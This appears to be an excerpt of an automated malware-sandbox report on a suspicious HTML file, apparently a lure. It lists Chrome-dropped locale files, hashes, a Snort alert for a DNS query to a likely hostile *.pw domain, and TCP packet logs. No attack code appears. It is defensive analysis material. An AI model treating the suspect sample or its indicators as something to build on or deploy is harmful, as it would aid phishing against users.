SHA-512: D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C
88

Malicious: false

Preview: Cr24..............0.."0...*.H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.|
1..n.<Fb..f..*Q1.....s..2..{*.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-*eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u..
..k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f|.~.c.4.E.......0..0...*.H............0.......).'..b.*$w\$.q&.]zF_2..
;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$|..|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z
....).(6..@?v.;~..2..c....[0Y0...*.H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...|!..A..L.+.=...kP.!.1..

C:\Users\user\AppData\Local\Temp\5748_418863182\manifest.json

C:\Users\user\AppData\Local\Temp\e5dfde8d-4573-40bc-a117-c67f67f86b5d.tmp

C:\Users\user\AppData\Local\Temp\e834dbff-473a-450b-8b3c-8ba045887e18.tmp

C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\bg\messages.json
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 796

Entropy (8bit): 4.864931792423268

Encrypted: false

SSDEEP: 12:1HEJMLkSlwZGGMLkSlwZ+WYpU34f145Gb+dgoxTyO8ZpU34f1L0frhmJ03OyZnLt:1HE7n4gn8WYpYrbhz8ZpotHOGAOf6aD

MD5: 6F8E288A9AD5B1ED8633B430E2B4D4CA

SHA1: F671D3D4BEFA431D1946D706F4192D44E29B6F08

SHA-256: A114E2783D0E9B12155017323BA70838F0F82A71C7EE8DC1F115AE36991241F8

SHA-512: 0F87F3F0D115B872288949E59ACD3CD41B1FBC64A622D8FDA6D71FAFC5A900D92ADFBB0E7EB926F2A8759BBAA0896D48728FB719BBF5EF54AC21027328F770
0C

Malicious: false

Preview: {..   "app_description": {..      "message": "........ . ... ........ .. Chrome"..   },..   "app_name": {..      "message": "........ . ... ........ .. Chrome"..   },..   "craw_app_unavailable": {..      
"message": "........... .... ...... .. ............."..   },..   "craw_connect_to_network": {..      "message": "...., ........ .. . ......"..   },..   "iap_unavailable": {..      "message": "........... .... 
...... .. .......... ....... .. ........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "...., ...... . 
Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 675

Entropy (8bit): 4.536753193530313

Encrypted: false

SSDEEP: 12:1HEJ0gbbGG0gbb+WYpU34g3YbiLO+dgyGFoO8ZpU34+puiPmb03OyZnLAOfTYABk:1HE5baib6WYpm31Lt0Z8Zp8pxOGAOfKD

MD5: 1FDAFC926391BD580B655FBAF46ED260

SHA1: C95743C3F43B2B099FEBEBC5BD850F0C20E820AC

SHA-256: C67898B67F9C9209EAFDA6532B62D5789863CFB855998DD6A70E7775316CEC20

SHA-512: 39D95D45C5746DA3BAA7AE6A3344EA17D7A7C3569C2A56959FF119261DA08C747A320FCF701AC72B8DBDBF8BF06FD8B239017A282CDDA444F3826D4EC672CB
B4

Malicious: false

Preview: {..   "app_description": {..      "message": "Sistema de pagaments de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagaments de Chrome Web 
Store"..   },..   "craw_app_unavailable": {..      "message": "Ara mateix aquesta aplicaci. no est. disponible."..   },..   "craw_connect_to_network": {..      "message": "C
onnecteu-vos a una xarxa."..   },..   "iap_unavailable": {..      "message": "La funci. Pagaments a l'aplicaci. no est. disponible actualment."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Inicieu la sessi. a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 641

Entropy (8bit): 4.698608127109193

Encrypted: false

SSDEEP: 12:1HEJfZGGfZ+WYpU34OBh+dgN/O8ZpU34j05U03OyZnLAOfTYWc:1HEl4G8WYpdt8Zpq5TOGAOfW

MD5: 76DEC64ED1556180B452A13C83171883

SHA1: CFB1E56FD587BCDC459C1D9A683B71F9849058F9

SHA-256: 32290D69A90E6BAAC428B10382C99221B12773BB9A184F3B93DFB48A4F6D7A40

SHA-512: 5230A217968D5DC463E2E92D704544311A721E5CEF65C3125CBD8DEB9C0293D3BFB5C820A6011ABF77095FDEE7DAF67D541DC202B0C9CDB0908CBB85D84885
CB

Malicious: false

Preview: {..   "app_description": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   "app_name": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   
"craw_app_unavailable": {..      "message": "Aplikace v sou.asn. dob. nen. dostupn.."..   },..   "craw_connect_to_network": {..      "message": "P.ipojte se pros.m k s.ti."..   
},..   "iap_unavailable": {..      "message": "Platby v aplikaci aktu.ln. nejsou k dispozici."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "P.ihlaste se do Chromu."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 624

Entropy (8bit): 4.5289746475384565

C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\ca\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\cs\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\da\messages.json
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Encrypted: false

SSDEEP: 12:1HEJJMKKFZGGJMKKFZ+WYpU34OHu+dgxlCZO8ZpU34J4Wu03OyZnLAOfTYzD:1HErMKfqMKVWYpM6lL8ZpDNOGAOfiD

MD5: 238B97A36E411E42FF37CEFAF2927ED1

SHA1: 4E47AC90BA24C8F4724D9293FA40CFD4ADA66FE0

SHA-256: 4977D4A053542FF66967FAED6B06585DD70E68E20BFEB533B66FE3287F9655D9

SHA-512: FD0742D47B5F5AB9AAD9B4C3D57F63CB693E060EECE123A72036C6E92156D099495C7E9E9CC6DC83EEBCDDCC4B4C81FB47E4C9559DA3EBA024780FFF10C53
E0A

Malicious: false

Preview: {..   "app_description": {..      "message": "Betalinger i Chrome Webshop"..   },..   "app_name": {..      "message": "Betalinger i Chrome Webshop"..   },..   "craw_app_u
navailable": {..      "message": "Appen er ikke tilg.ngelig i .jeblikket."..   },..   "craw_connect_to_network": {..      "message": "Opret forbindelse til et netv.rk."..   },..   
"iap_unavailable": {..      "message": "Betaling i appen er ikke tilg.ngelig i .jeblikket."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be comp
leted."..   },..   "please_sign_in": {..      "message": "Log ind p. Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 651

Entropy (8bit): 4.583694000020627

Encrypted: false

SSDEEP: 12:1HEJQ1ZGGQ1Z+WYpU34pCEMT+dgJMlCTO8ZpU34p6FK603OyZnLAOfTYJ6K:1HEzWWYp3Bewv8Zp7k4OGAOfQj

MD5: 6B3E916E8C1991AA0453CBA00FEDCAAA

SHA1: D6366D15912E40CA107FD42BFE9579C3336A51F9

SHA-256: A62FFAB910E31531758EEE48B2CC71A8857BEC3021DEAD50B668CBA3C8667053

SHA-512: 87EA4311B61F29543B13F3E17DFA919D0C320B4FE370CC152E0B1514BCA79B0ABB526DDCF08621D6EBFA48923EE8FB4C667EFB120A72BD9583EEBEE7BFB80
552

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome Web Store-Zahlungen"..   },..   "app_name": {..      "message": "Chrome Web Store-Zahlungen"..   },..   "craw_app_una
vailable": {..      "message": "Die App ist momentan nicht verf.gbar."..   },..   "craw_connect_to_network": {..      "message": "Bitte stellen Sie eine Verbindung zu einem 
Netzwerk her."..   },..   "iap_unavailable": {..      "message": "In-App-Zahlungen sind momentan nicht m.glich."..   },..   "jwt_retrieve_failed": {..      "message": "The trans
action could not be completed."..   },..   "please_sign_in": {..      "message": "Bitte melden Sie sich in Chrome an."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 787

Entropy (8bit): 4.973349962793468

Encrypted: false

SSDEEP: 24:1HEw+aZ+6WYpbWZe80A08ZpCGyDVWlOGAOf+XD:WguYpCZnpEZbGoD

MD5: 05C437A322C1148B5F78B2F341339147

SHA1: AB53003A678E44A170E73711FBD9949833BBF3AA

SHA-256: A052C32B4FCAC61152EB0ADB2C260FB6A8256AD104AA0013DB93E9798D41A070

SHA-512: C36CB9202A34356DD06D377E2A088F428D0B8EBE7D2E54F8380485E9D94A0598D7F651C1E7A2FD55BE481D49C02B0812F2BA335E08611EC85EE0BD60784A6B4
0

Malicious: false

Preview: {..   "app_description": {..      "message": "........ ... Chrome Web Store"..   },..   "app_name": {..      "message": "........ ... Chrome Web Store"..   },..   "craw_app_unavail
able": {..      "message": ". ........ .... .. ..... ... ..... .........."..   },..   "craw_connect_to_network": {..      "message": ".......... .. ... ......."..   },..   "iap_unavailable": {..      
"message": ".. ........ ..... ......... ... ..... ..... .. ...... ..........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": ".......... ... Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 593

Entropy (8bit): 4.483686991119526

Encrypted: false

SSDEEP: 12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD

MD5: 91F5BC87FD478A007EC68C4E8ADF11AC

SHA1: D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6

SHA-256: 92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9

C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\de\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\el\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\en\messages.json
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SHA-512: FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65
FFD9

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome Web Store Payments"..   },..   "app_name": {..      "message": "Chrome Web Store Payments"..   },..   "craw_app_unava
ilable": {..      "message": "App currently unavailable."..   },..   "craw_connect_to_network": {..      "message": "Please connect to a network."..   },..   "iap_unavailable": {..      
"message": "In-App Payments is currently unavailable."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": "Please sign into Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 593

Entropy (8bit): 4.483686991119526

Encrypted: false

SSDEEP: 12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD

MD5: 91F5BC87FD478A007EC68C4E8ADF11AC

SHA1: D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6

SHA-256: 92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9

SHA-512: FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65
FFD9

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome Web Store Payments"..   },..   "app_name": {..      "message": "Chrome Web Store Payments"..   },..   "craw_app_unava
ilable": {..      "message": "App currently unavailable."..   },..   "craw_connect_to_network": {..      "message": "Please connect to a network."..   },..   "iap_unavailable": {..      
"message": "In-App Payments is currently unavailable."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": "Please sign into Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 661

Entropy (8bit): 4.450938335136508

Encrypted: false

SSDEEP: 12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34lPbdlVo03OyZnLAOfTY6xjD:1HEvaC6WYpcDeEFxq8ZpNl5OGAOffD

MD5: 82719BD3999AD66193A9B0BB525F97CD

SHA1: 41194D511F1ACC16C1CA828AC81C18C8C6B47287

SHA-256: 4DB9B2721E625C18B9E05C04B31AF5D9694712F1CAAF6219ABE34BB08E5DB1C7

SHA-512: D4C49B43427799B6292CEED11CACB1D76F7CE43EBF402B43B638A6EB2B414ED0981E386CB8CDF0B51D1BD9552934FE25B2F6392266BB73D8C9A691F65BCE01
28

Malicious: false

Preview: {..   "app_description": {..      "message": "Sistema de pagos de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagos de Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Esta aplicaci.n no est. disponible en este momento."..   },..   "craw_connect_to_network": {..      "message": "Con.ctate a 
una red."..   },..   "iap_unavailable": {..      "message": "Los pagos en la aplicaci.n no est.n disponibles en este momento."..   },..   "jwt_retrieve_failed": {..      "message": 
"The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Inicia sesi.n en Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 637

Entropy (8bit): 4.47253983486615

Encrypted: false

SSDEEP: 12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34GLO03OyZnLAOfTYiJD:1HEvaC6WYpcDeEFxq8Zp4LlOGAOfvD

MD5: 6B2583D8D1C147E36A69A88009CBEBC7

SHA1: 4D4DEEB4BE6AA0181825F3371A761ABC5B4D5937

SHA-256: 6659BC3705311D7641A73995DCFEA80C7734F2F4EBBC3787B3892A240348324F

SHA-512: 37F0DBFCC1B5A2B8E4C92C49D2D9DEEF25616421350324F57E0149A45A6CCB437F5E3CBE97412C4B5DBBF2593783C7DF71E9C25A851AEAE6E4764C545723FA
53

Malicious: false

Preview: {..   "app_description": {..      "message": "Sistema de pagos de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagos de Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Esta aplicaci.n no est. disponible en este momento."..   },..   "craw_connect_to_network": {..      "message": "Con.ctate a 
una red."..   },..   "iap_unavailable": {..      "message": "En este momento, Pagos En-Apps no est. disponible."..   },..   "jwt_retrieve_failed": {..      "message": "The tr
ansaction could not be completed."..   },..   "please_sign_in": {..      "message": "Accede a Chrome."..   }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\en_GB\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\es\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\es_419\messages.json
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 595

Entropy (8bit): 4.467205425399467

Encrypted: false

SSDEEP: 12:1HEJfPGGGfPG+WYpU34Ze7z+dgrW9O8ZpU34ZwZz03OyZnLAOfTYgoLIR:1HEdvqlWYpTeObk8ZpT/OGAOfuLIR

MD5: CFF6CB76EC724B17C1BC920726CB35A7

SHA1: 14ED068251D65A840F00C05409D705259D329FFC

SHA-256: C85800BF45942FCC7FD6B1DF929C25F9CC2A977A6678966BD03D4B6B69889AFD

SHA-512: 53D7D01BB30C0306DE65A79FD9551D2E8C1F71F4F45F71906B009071CB3E0F231E6A50FDD78773E9B4DE94085BC7B97F829842FA21A89A2080D33458B745C46F

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome'i veebipoe maksed"..   },..   "app_name": {..      "message": "Chrome'i veebipoe maksed"..   },..   "craw_app_unavail
able": {..      "message": "Rakendus pole praegu saadaval."..   },..   "craw_connect_to_network": {..      "message": "Looge .hendus v.rguga."..   },..   "iap_unavailable": {..    
  "message": "Rakendusesisesed maksed ei ole praegu saadaval."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   
"please_sign_in": {..      "message": "Logige Chrome'i sisse."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 647

Entropy (8bit): 4.595421267152647

Encrypted: false

SSDEEP: 12:1HEJRuzGGRuz+WYpU34ujSBu+dgYO8ZpU34J+Bu03OyZnLAOfTY5HN:1HEFcWYpPNa8ZpD+FOGAOfEHN

MD5: 3A01FEE829445C482D1721FF63153D16

SHA1: F3EAAADDC03F943FC88B30B67F534AA13E3336DD

SHA-256: 0BDE54B20845124113383B6EB81E43A0F05E4EB0C44BEE3C1DFAC4CC5FEC2836

SHA-512: 3B92B6C86D30FD36AA3CEFF8773BA60C3FC5CC19C693540137044C5838A5503895C770C0336A4D0A3DB5E42F3FB36274D8D3F85B9DCA2F3EC0E974FDDB0BEA
D8

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome Web Storen maksut"..   },..   "app_name": {..      "message": "Chrome Web Storen maksut"..   },..   "craw_app_unavail
able": {..      "message": "Sovellus ei ole t.ll. hetkell. k.ytett.viss.."..   },..   "craw_connect_to_network": {..      "message": "Muodosta verkkoyhteys."..   },..   "iap_unavai
lable": {..      "message": "Sovelluksen sis.iset maksut eiv.t ole t.ll. hetkell. k.ytett.viss.."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "Kirjaudu sis..n Chromeen."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 658

Entropy (8bit): 4.5231229502550745

Encrypted: false

SSDEEP: 12:1HEJADlbGGADlb+WYpU34hTUT+dgHfZAFFZO8ZpU34hTjzeT03OyZnLAOfTYHfvF:1HEYah6WYp7TUSoxOS8Zp7TOsOGAOfqV

MD5: 57AF5B654270A945BDA8053A83353A06

SHA1: EEEF7A4F869F97CF471A05D345E74F982D15E167

SHA-256: EC002ED92359F67818B49455DFC579E140368E6A004080AF022FD4F57F6B03F2

SHA-512: 5F0AE839FCF3F4EA48FF41A76655AE0F3821564AFD5D42FBB9FBB9A38E8D8F7BB5E9B6F71064588CD441261F644095A44A755C134CE546D506D9A21E488BAF5
2

Malicious: false

Preview: {..   "app_description": {..      "message": "Mga Pagbabayad sa Chrome Web Store"..   },..   "app_name": {..      "message": "Mga Pagbabayad sa Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Kasalukuyang hindi available ang app."..   },..   "craw_connect_to_network": {..      "message": "Mangyaring kumonekta 
sa isang network."..   },..   "iap_unavailable": {..      "message": "Kasalukuyang hindi available ang Mga Pagbabayad na In-App."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Mangyaring mag-sign in sa Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\et\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\fi\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\fil\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\fr\messages.json
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Size (bytes): 677

Entropy (8bit): 4.552569602149629

Encrypted: false

SSDEEP: 12:1HEJALf/nbGGALf/nb+WYpU34Owdgbyb+dgdQjO8ZpU34ITQpGnbyb03OyZnLAO8:1HE4Hna1Hn6WYpNdgpY8ZpSTQwnBOGAh

MD5: 8D11C90F44A6585B57B933AB38D1FFF8

SHA1: 3F9D44EA8807069A32AACA2AAAD02FD892E6CC90

SHA-256: 599491F8C52B945C16C441ADF45BFD45AFAE046DA07757D97C56AF4DE75ED3B5

SHA-512: D7EF7F5AD7EF1A1595825D79B69E2B1E988AD3CF1F3881496FCCD30F241E4E9C6E457F9F5D0F855DE3536DB7A40C3E1C55946B50D3F556F4A35285066A0CD6F
7

Malicious: false

Preview: {..   "app_description": {..      "message": "Paiements via le Chrome.Web.Store"..   },..   "app_name": {..      "message": "Paiements via le Chrome.Web.Store"..   },..   
"craw_app_unavailable": {..      "message": "Application indisponible pour le moment."..   },..   "craw_connect_to_network": {..      "message": "Veuillez vous connecter . un 
r.seau."..   },..   "iap_unavailable": {..      "message": "Les paiements via l'application ne sont pas disponibles pour le moment."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Veuillez vous connecter . Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 835

Entropy (8bit): 4.791154467711985

Encrypted: false

SSDEEP: 24:1HEs07J0JWYp9vnCSVLP8Zp6CsOGAOf8SLm:Wh7qgYp1CMLUph1GiSLm

MD5: E376D757C8FD66AC70A7D2D49760B94E

SHA1: 1525C5B1312D409604F097768503298EC440CC4D

SHA-256: 8106D98C4F8DA16DB698444409558E29CC96735E188BFA303C333A5D99231C1D

SHA-512: 673F3F259AF2946E4F49BBED14A2A70D44BF9FDA9D7A71DC9172BA9B7B3C7F7062B16D29682B638D485B0520ED6F99E7A735F28C7C719B539559005B69FA7555

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome ... ..... ......"..   },..   "app_name": {..      "message": "Chrome ... ..... ......"..   },..   "craw_app_unavailable": {..      "messa
ge": "......... .. ... ...... .... ..."..   },..   "craw_connect_to_network": {..      "message": "..... ....... .. ...... ....."..   },..   "iap_unavailable": {..      "message": "..-.. ...... ... ...... .... ..."..   
},..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "..... Chrome ... .... .. ....."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 618

Entropy (8bit): 4.56999230891419

Encrypted: false

SSDEEP: 12:1HEJGiimxmbZGGGiimxmbZ+WYpU34OBOEuhopIO+dgcapZO8ZpU34GiiZrMrQphK:1HE4H4TH8WYpNjTta28ZpQVLP0SOGAOK

MD5: 8185D0490C86363602A137F9A261CC50

SHA1: 5BD933B874441CEACB9201CCC941FF67BAED6DC0

SHA-256: A2B2EC359A9DD9DCCCE02859CE1E738BD30FAA4A05F1DC522893FFDF722BBC15

SHA-512: D7629978FC031EA5F716F9C1065FB2FEAB48C15F10CD68830DC966FA1002C03DDC7ACDE314C7D075F9F3A0A68552A6ACBCCDEE24CF20B6C3DD1BCE6562D03
96E

Malicious: false

Preview: {..   "app_description": {..      "message": "Pla.anja u web-trgovini Chrome"..   },..   "app_name": {..      "message": "Pla.anja u web-trgovini Chrome"..   },..   "craw
_app_unavailable": {..      "message": "Aplikacija trenuta.no nije dostupna."..   },..   "craw_connect_to_network": {..      "message": "Pove.ite se s mre.om."..   },..   
"iap_unavailable": {..      "message": "Pla.anje u aplikaciji trenuta.no nije dostupno."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be comple
ted."..   },..   "please_sign_in": {..      "message": "Prijavite se na Chrome."..   }..}..

File type: HTML document, ASCII text, with very long lines, with no line terminators

Entropy (8bit): 5.8700402268189125

TrID: HyperText Markup Language (15015/1) 20.56%
HyperText Markup Language (12001/1) 16.44%
HyperText Markup Language (12001/1) 16.44%
HyperText Markup Language (11501/1) 15.75%
HyperText Markup Language (11501/1) 15.75%

C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\hi\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5748_958700621\CRX_INSTALL\_locales\hr\messages.json

Static File Info

General
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File name: #Ud83d#Udcde_0072520589037.html (2).html

File size: 7795

MD5: ba279617f88ed684dcc348066f8930b1

SHA1: 8aa70edba45e04805c7f08188a5a689e2eac0687

SHA256: d8ff2148078fbbdd1b5b40bd2b3137a0caafb7f66ad0542f527d4a98cf94b8d3

SHA512: e21cc6be3be788bb2724d269d0deda459f27f48b3c6d31216e49f80e75d620a88f726b824f69c6da650e101201c620f3533eb61024d33b459c869907c6629732

SSDEEP: 192:StmlcUJf4HrQqGNPuTLkDSlrtL3fe8YafHiGrM:PlBf4HMqGtuTwDSlJPTHPvA

TLSH: 97F10AB564CA3D1C8E2863F8BC917A2917DECE73753228760AF40D4B1CE4ACE7461A95

File Content 
Preview:

<!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html;charset=utf-8"><meta name="viewport" content="width=device-width initial-scale=1 
user-scalable=no maximum-scale=1" /><title>QLYMTvjilazSPZ8EeKRXF</title><meta name="robots" cont

Timestamp Protocol SID Message
Source
Port

Dest
Port

Source IP Dest IP

192.168.2.38.8.8.8538025
32016778 05/13/22-
16:40:06.023681

UDP 201677
8

ET DNS Query to a *.pw domain - Likely Hostile 53802 53 192.168.2.3 8.8.8.8

Total Packets: 50

• 53 (DNS)

• 443 (HTTPS)

Timestamp Source Port Dest Port Source IP Dest IP

May 13, 2022 16:39:52.602721930 CEST 49693 443 192.168.2.3 40.126.31.143

May 13, 2022 16:39:52.617383003 CEST 49702 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:52.617425919 CEST 443 49702 20.82.210.154 192.168.2.3

May 13, 2022 16:39:52.617521048 CEST 49702 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:52.617607117 CEST 49703 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:52.617656946 CEST 443 49703 20.82.210.154 192.168.2.3

May 13, 2022 16:39:52.617723942 CEST 49703 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:52.625159979 CEST 49702 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:52.625190973 CEST 443 49702 20.82.210.154 192.168.2.3

May 13, 2022 16:39:52.625296116 CEST 49703 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:52.625324011 CEST 443 49703 20.82.210.154 192.168.2.3

May 13, 2022 16:39:52.776154995 CEST 443 49703 20.82.210.154 192.168.2.3

May 13, 2022 16:39:52.776299000 CEST 49703 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:52.777245998 CEST 443 49702 20.82.210.154 192.168.2.3

May 13, 2022 16:39:52.777362108 CEST 49702 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:53.157655001 CEST 49688 443 192.168.2.3 131.253.33.200

May 13, 2022 16:39:53.157800913 CEST 49688 443 192.168.2.3 131.253.33.200

May 13, 2022 16:39:53.157845020 CEST 49688 443 192.168.2.3 131.253.33.200

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets
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May 13, 2022 16:39:53.157879114 CEST 49688 443 192.168.2.3 131.253.33.200

May 13, 2022 16:39:53.157951117 CEST 49688 443 192.168.2.3 131.253.33.200

May 13, 2022 16:39:53.157973051 CEST 49688 443 192.168.2.3 131.253.33.200

May 13, 2022 16:39:53.158027887 CEST 49688 443 192.168.2.3 131.253.33.200

May 13, 2022 16:39:53.158055067 CEST 49688 443 192.168.2.3 131.253.33.200

May 13, 2022 16:39:53.158066988 CEST 49688 443 192.168.2.3 131.253.33.200

May 13, 2022 16:39:53.163585901 CEST 49702 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:53.163623095 CEST 443 49702 20.82.210.154 192.168.2.3

May 13, 2022 16:39:53.163985968 CEST 443 49702 20.82.210.154 192.168.2.3

May 13, 2022 16:39:53.164077997 CEST 49702 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:53.165442944 CEST 49702 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:53.165873051 CEST 49703 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:53.165904045 CEST 443 49703 20.82.210.154 192.168.2.3

May 13, 2022 16:39:53.166068077 CEST 49703 443 192.168.2.3 20.82.210.154

May 13, 2022 16:39:53.166079998 CEST 443 49703 20.82.210.154 192.168.2.3

May 13, 2022 16:39:53.166141033 CEST 443 49703 20.82.210.154 192.168.2.3

